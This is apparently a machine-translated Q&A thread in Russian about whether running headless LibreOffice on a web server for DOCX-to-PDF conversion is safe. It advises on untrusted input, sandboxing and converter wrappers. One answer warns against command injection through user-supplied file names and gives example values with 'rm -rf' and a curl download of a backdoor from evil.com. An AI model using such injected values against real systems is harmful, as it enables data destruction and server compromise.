Безопасно ли использовать LibreOffice (без головы) на веб-сервере? - PullRequest
3 голосов
/ 08 марта 2019

У меня есть my-template.docx, который я конвертирую в my-report.docx с OpenXml, а затем my-report.pdf с:

soffice --headless --convert-to pdf my-report.docx

Я вынужден сказать, что эта функциональность очень ценится ?. В любом случае, одна вещь, которую я не могу найти ответ здесь (документация cli) или здесь (сравнение с MS Office) или мой другой пост , это если LibreOffice безопасен для автоматизации.

См. это сообщение от Microsoft, в котором говорится, что не следует использовать Word для автоматизации на стороне сервера. Возникает вопрос: безопасен ли LibreOffice для автоматизации на стороне сервера? В основном я буду использовать C # для запуска soffice --headless --convert-to pdf my-report.docx каждый раз, когда приходит запрос на отчет.

Это безопасно?

* предположим, что никто не пытается прочитать my-report.docx

Ответы [ 3 ]

4 голосов
/ 11 марта 2019

Пока вы контролируете содержимое входного файла, проблем не должно быть вообще. Помните, что LibreOffice допускает только один активный экземпляр для каждого профиля пользователя, поэтому, если вы хотите обрабатывать более одного документа параллельно, вам следует использовать отдельные профили пользователей.

Если у вас ненадежные входные данные, на весь вопрос будет сложнее ответить. Несмотря на то, что была проделана большая работа по защите базы кода, офисный пакет для настольных компьютеров все еще является огромным программным обеспечением с множеством потенциальных поверхностей атаки (макросы, удаленные подключения к данным, старые двоичные форматы файлов, ...). Несмотря на то, что все эти функции должны быть заблокированы в автономных операциях, вы должны верить, что нет необнаруженных ошибок.

Остальные пункты в статье Microsoft не должны относиться к LibreOffice. Безголовый режим не предназначен для взаимодействия со средой рабочего стола и, за исключением профиля пользователя, ничего не меняет в системе или зависит от какого-либо элемента, связанного с рабочим столом. Сборки по умолчанию все еще будут зависеть от некоторых библиотек GUI, но если это действительно становится проблемой, есть экспериментальная опция сборки для сборки не-GUI версии без каких-либо зависимостей библиотеки X / GTK / KDE.

В качестве альтернативы есть также несколько проектов, построенных поверх LibreOffice, которые пытаются сделать преобразование документов еще проще и могут быть быстрее, если предварительно разветвляются или используют LibreOfficeKit API. Два примера: JODConverter или unoconv .

2 голосов
/ 13 марта 2019

Отличный ответ Могги.Единственное, что я могу добавить:

  1. , вы можете рассмотреть вопрос об улучшении безопасности, запустив экземпляр libreoffice (soffice) в какой-либо песочнице (например, Docker).Это означает, что если случится что-то мошенническое, «песочница» может ограничить потенциальный ущерб,
  2. запуск процесса каждый раз может быть непроизводительным, если ваш сайт будет занят созданием PDF-файлов.Если это произойдет, использование слоя вверх (например, JODConverter) может запускаться один раз и использовать много раз.

Надеюсь, это поможет.

1 голос
/ 18 марта 2019

У меня есть my-template.docx, который я конвертирую в my-report.docx с OpenXml, а затем my-report.pdf с:

soffice --headless --convert-to pdf my-report.docx

TL; DR в вашемЭто действительно так.

То, что вы почти наверняка делаете, - это замена некоторой информации внутри DOCX и использование LibreOffice для «хорошего» преобразования в PDF.Хотя есть и другие инструменты, которые могут делать что-то подобное (например, wkhtmltopdf), вы не используете LibreOffice каким-либо уязвимым способом, о котором я знаю (и я использую LibreOffice, как и вы):

  • исходный документ находится под вашим контролем (нет введенных пользователем макросов, удаленных включений файлов, удаленных источников данных или других махинаций)
  • значения, которые вы вводите в DOCX, также находятся под вашим контролем - или они?- и не содержат пользовательского ввода, такого как цели HREF, которые могут сделать его в PDF.
  • LibreOffice в автономном режиме не предоставляет никаких открытых портов или интерфейсов, которые могут быть использованы третьим процессом.

Возможные, но маловероятные "возможности" использовать возможности, которые могут остаться:

  • файл назначения .Я ожидаю, что даже если вы спросите у пользователя имя получившегося файла, вы все равно сделаете что-то вроде создания уникального pdf-файла и отправите имя пользователя как Content-Disposition: attachment; filename="thatswhatshesaid";, , а не , используя имя пользователя.в вашей файловой системе и рискуете сохранить данные в byebye.pdf && rm -rf ... (или irrelevant.pdf\x00; curl -o index2.php http://evil.com/backdoor.php или ...), отправив обратно Location: downloads/whatshesaid.pdf.
  • очень большие значения в выводе XML, которые могут вызвать аномальное поведение.Шансы на то, что это произойдет, и на то, чтобы сделать это каким-либо значимым (для атакующего) способом, ничтожны, но тем не менее, нет ничего плохого в проверке.
...